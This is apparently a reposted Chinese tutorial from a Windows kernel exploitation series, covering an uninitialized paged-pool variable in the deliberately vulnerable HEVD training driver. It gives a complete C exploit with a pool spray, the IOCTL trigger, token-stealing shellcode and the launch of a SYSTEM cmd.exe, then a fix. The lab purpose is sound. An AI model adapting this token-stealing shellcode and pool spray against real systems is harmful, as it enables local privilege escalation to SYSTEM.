windows内核之未初始化池变量(六)

admin 2022年3月23日15:11:12评论6 views字数 7343阅读24分28秒阅读模式

0x00 前言:

windows内核系列:

  1. windows内核之栈溢出(一)
  2. windows内核之任意地址写入(二)
  3. windows内核之UAF(三)
  4. windows内核之Null指针解引用(四)
  5. windows内核之未初始化栈变量(五)

0x01 漏洞原理:

当我们设置的堆块指针未初始化为NULL时,那么这个变量会被设置为之前堆块上存在的数据,那么我们就存在使用“堆喷”将堆块数据全部设置为某个值,然后该参数就存在设置为我们想要的指定的shellcode地址的可能。

漏洞缺陷定位:

漏洞缺陷函数为:TriggerUninitializedMemoryPagedPool

下面是TriggerUninitializedMemoryPagedPool()调用流程:

windows内核之未初始化池变量(六)

函数执行流程:

设置了一个变量UninitializedMemory,然后调用了ExAllocatePoolWithTag()申请一块池空间赋值到UninitializedMemory,其中该池空间在整个程序中都没有被初始化,传入参数UserBuffer赋值到另一个变量v2,然后判断变量v2是否为0xBAD0B0B0,如果为0xBAD0B0B0则将未初始化变量UninitializedMemory赋值到变量UninitializedMemoryPagedPool函数回调地址赋值到UninitializedMemory成员Callback中,不为0xBAD0B0B0则不给UninitializedMemory成员Callback进行赋值操作。然后判断UninitializedMemory是否为NULL,不为NULL则执行UninitializedMemory成员Callback指定的回调函数。
windows内核之未初始化池变量(六)
如图,可以看到一旦从用户层传入数据不为0xBAD0B0B0就存在可能利用到未初始化池变量漏洞来跳转到我们的shellcode地址上。

溢出利用

#include<stdio.h>
#include<Windows.h>

HANDLEhDevice=NULL;

VOIDShellCode(){
__asm{
pushad;保存各寄存器数据
;startofTokenStealingStub

xoreax,eax;eax设置为0
moveax,fs:[eax + 124h];获取nt!_KPCR.PcrbData.CurrentThread
moveax,[eax + 050h];获取nt!_KTHREAD.ApcState.Process
movecx,eax;将本进程EPROCESS地址复制到ecx
movedx,4;WIN7SP1SYSTEMprocessPID=0x4

SearchSystemPID:
moveax,[eax + 0b8h];获取nt!_EPROCESS.ActiveProcessLinks.Flink
subeax,0b8h
cmp[eax + 0b4h],edx;获取nt!_EPROCESS.UniqueProcessId
jneSearchSystemPID;循环检测是否是SYSTEM进程PID

movedx,[eax + 0f8h];获取System进程的Token
mov[ecx + 0f8h],edx;将本进程Token替换为SYSTEM进程nt!_EPROCESS.Token
;EndofTokenStealingStub
popad
ret;Returncleanly
}
}

BOOLinit()//链接到HEVD.sys
{
//GetHANDLE
hDevice=CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ|GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if(hDevice==INVALID_HANDLE_VALUE||hDevice==NULL)
{
returnFALSE;
}
printf("[+]Success to get HANDLE!\n");
returnTRUE;
}

staticVOIDCreateCmd()
{
STARTUPINFOsi={sizeof(si)};
PROCESS_INFORMATIONpi={0};
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=SW_SHOW;
WCHARwzFilePath[MAX_PATH]={L"cmd.exe"};
BOOLbReturn=CreateProcessW(NULL,wzFilePath,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,(LPSTARTUPINFOW)&si,&pi);
if(bReturn)CloseHandle(pi.hThread),CloseHandle(pi.hProcess);
}

HANDLEEvent_OBJECT[0x1000];

VOIDTrigger_shellcode()
{
DWORDbReturn=0;
charbuf[4]={0};
charlpName[0xf0]={0};
*(PDWORD32)(buf)=0xBAD0B0B0+1;//这里只是为了不等于0xBAD0B0B0

memset(lpName,0x41,0xf0);//这里配置的大小必须等于ExAllocatePoolWithTag中设置的大小0xF0

printf("lpName is in 0x%p\n",lpName);
for(inti=0;i<256;i++)
{
//**************构造池块**************
        *(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;        //根据源码获取到Callback成员在_UNINITIALIZED_MEMORY_POOL结构体+0x4上
        *(PDWORD)(lpName + 0xf0 - 4) = 0;
        *(PDWORD)(lpName + 0xf0 - 3) = 0;
        *(PDWORD)(lpName + 0xf0 - 2) = 0;
        *(PDWORD)(lpName + 0xf0 - 1) = i;
        Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);
        //**************构造池块**************
    }

    for (int i = 0; i < 256; i++)
    {
        CloseHandle(Event_OBJECT[i]);    //将创建的池块释放,释放的池块就为我们构造的shellcode地址
        i += 4;
    }

    DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    Trigger_shellcode();

    printf("[+]Start to Create cmd...\n");
    CreateCmd();
    system("pause");

    return 0;
}
BOOL init()    //链接到HEVD.sys
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}

windows内核之未初始化池变量(六)
反汇编IrpDeviceIoCtlHandler函数获取到控制码为0x222033
所以我们可以得出调用TriggerUninitializedMemoryPagedPool()的代码

DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);

buf指向我们传入数据的指针*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;,为了传入参数不等于0xBAD0B0B0
4表示传入参数的字节数

什么是Heap Sprary?

常见的Heap Spray是将堆块空间都填满滑板指令,然后将我们的shellcode指向地址指向一个固定地址(这个地址在大部分可能的情况下将被堆块所覆盖),如0x0c0c0c0c,然后我们就可以调用到0x0c0c0c0c,然后被填充的滑板指令(NOP)一路滑到我们的真实shellcode地址上。
而这种将堆块空间填充的手法我们通常称为Heap Spray
详细可以参考:Heap Spray原理浅析

我们先建立一个符合UninitializedMemory变量相同大小的池块
windows内核之未初始化池变量(六)
如上可以看到池块大小为:0xF0
所以我们代码为:

memset(lpName, 0x41, 0xf0);    //这里配置的大小必须等于ExAllocatePoolWithTag中设置的pool size大小0xF0

然后我们需要将构造一个“充满指向我们shellcode地址的池块”的堆空间
由于申请池一开始调用的是Lookaside Lists,而Lookaside Lists表结构中描述最多能存在256个块,最小深度是4,每个4字节 ==0x1000
所以可以编写代码:

HANDLE Event_OBJECT[0x1000];

我们来看看Lookaside Lists的表结构:

typedef struct _GENERAL_LOOKASIDE {
    SLIST_HEADER ListHead;  //内存链表
    USHORT Depth;  //当前内存列表的最大深度
    USHORT MaximumDepth;  //整个look aside运行的最大深度
    ULONG TotalAllocates;   //总共分配了多少次内存
    union {
        ULONG AllocateMisses;  //分配失败的内存,通过Allocate分配
        ULONG AllocateHits;
    };

    ULONG TotalFrees;
    union {
        ULONG FreeMisses;
        ULONG FreeHits;
    };

    POOL_TYPE Type;
    ULONG Tag;
    ULONG Size;
    PALLOCATE_FUNCTION Allocate;   //分配函数
    PFREE_FUNCTION Free;  //释放函数sss
    LIST_ENTRY ListEntry;  //ExNPagedLookasideListHead链表
    ULONG LastTotalAllocates;
    union {
        ULONG LastAllocateMisses;
        ULONG LastAllocateHits;
    };

    ULONG Future[2];
} GENERAL_LOOKASIDE, *PGENERAL_LOOKASIDE;

typedef struct _NPAGED_LOOKASIDE_LIST {
    GENERAL_LOOKASIDE L;
    KSPIN_LOCK Lock;
} NPAGED_LOOKASIDE_LIST, *PNPAGED_LOOKASIDE_LIST;

其中header占用了0x8
根据源码分析,我们可以看到Callback成员处于_UNINITIALIZED_MEMORY_POOL结构体+0x4上,所以我们需要将shellcode地址设置到“池块+0x4”上

*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;

当然这个在实战中是Fuzzing出来的
windows内核之未初始化池变量(六)
由上图我们还可以知道整个_UNINITIALIZED_MEMORY_POOL结构体的实际大小为:0x60,所以我们申请0xF0大小的池空间,但实际占用的只有0x60,所以我们实际可以将lpName设置为0xF0,因为占用了_UNINITIALIZED_MEMORY_POOL空间后还有很多剩余可以给Header

char lpName[0xf0] = { 0 };

在我们可以使用CreateEventA函数申请池空间,其中调用参数lpName分页池给设置成我们需要的数据
但由于lpName需要每个lpName都不相同,所以我们需要将其设置每个都不同

        *(PDWORD)(lpName + 0xf0 - 4) = 0;
        *(PDWORD)(lpName + 0xf0 - 3) = 0;
        *(PDWORD)(lpName + 0xf0 - 2) = 0;
        *(PDWORD)(lpName + 0xf0 - 1) = i;

然后我们就可以循环执行CreateEventA函数256次来将池块空间都设置为我们想要的shellcode地址块

所以完整构建池块的代码:
charlpName[0xf0]={0};
HANDLEEvent_OBJECT[0x1000];//固定最多存在256个块
for(inti=0;i<256;i++)//注意这里的256表示256个块
{
//**************构造池块**************
        *(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;        //根据源码获取到Callback成员在_UNINITIALIZED_MEMORY_POOL结构体+0x4上
        *(PDWORD)(lpName + 0xf0 - 4) = 0;
        *(PDWORD)(lpName + 0xf0 - 3) = 0;
        *(PDWORD)(lpName + 0xf0 - 2) = 0;
        *(PDWORD)(lpName + 0xf0 - 1) = i;
        Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);    //只有lpName一个参数有数据
        //**************构造池块**************
    }

然后我们要将所有池块释放进而再执行TriggerUninitializedMemoryPagedPool()中的ExAllocatePoolWithTag()函数来获取到我们已经释放的哪些指向shellcode的空闲池块
注意点:由于每个Lookaside Lists表最小深度是4,所以我们释放池块时是每隔4个块释放一次

for(inti=0;i<256;i++)
{
CloseHandle(Event_OBJECT[i]);//将创建的池块释放释放的池块就为我们构造的shellcode地址
i+=4;//每隔4个块
}

shellcode将系统进程的Token拷贝到了我们的exp进程上

VOID ShellCode() {
    __asm {
        pushad                                        ; 保存各寄存器数据
                                                            ; start of Token Stealing Stub

        xor eax, eax                            ; eax设置为0
        mov eax, fs: [eax + 124h]    ; 获取 nt!_KPCR.PcrbData.CurrentThread
        mov eax, [eax + 050h]            ; 获取 nt!_KTHREAD.ApcState.Process
        mov ecx, eax                            ; 将本进程EPROCESS地址复制到ecx
        mov edx, 4                                ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + 0b8h]            ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, 0b8h
            cmp[eax + 0b4h], edx        ; 获取 nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID            ; 循环检测是否是SYSTEM进程PID

            mov edx, [eax + 0f8h]        ; 获取System进程的Token
            mov[ecx + 0f8h], edx        ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
                                                            ; End of Token Stealing Stub
            popad
            ret                                            ; Return cleanly
    }
}
staticVOIDCreateCmd()
{
STARTUPINFOsi={sizeof(si)};
PROCESS_INFORMATIONpi={0};
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=SW_SHOW;
WCHARwzFilePath[MAX_PATH]={L"cmd.exe"};
BOOLbReturn=CreateProcessW(NULL,wzFilePath,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,(LPSTARTUPINFOW)&si,&pi);
if(bReturn)CloseHandle(pi.hThread),CloseHandle(pi.hProcess);
}

0x02 利用成功:

windows内核之未初始化池变量(六)

0x03 修复方案:

在判断v2不等于0xBAD0B0B0是要执行下面语句对UninitializedMemory释放且设置为NULL

ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);
UninitializedMemory = NULL;
参考链接:

FROM:tttang . com

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月23日15:11:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows内核之未初始化池变量(六)https://cn-sec.com/archives/837713.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息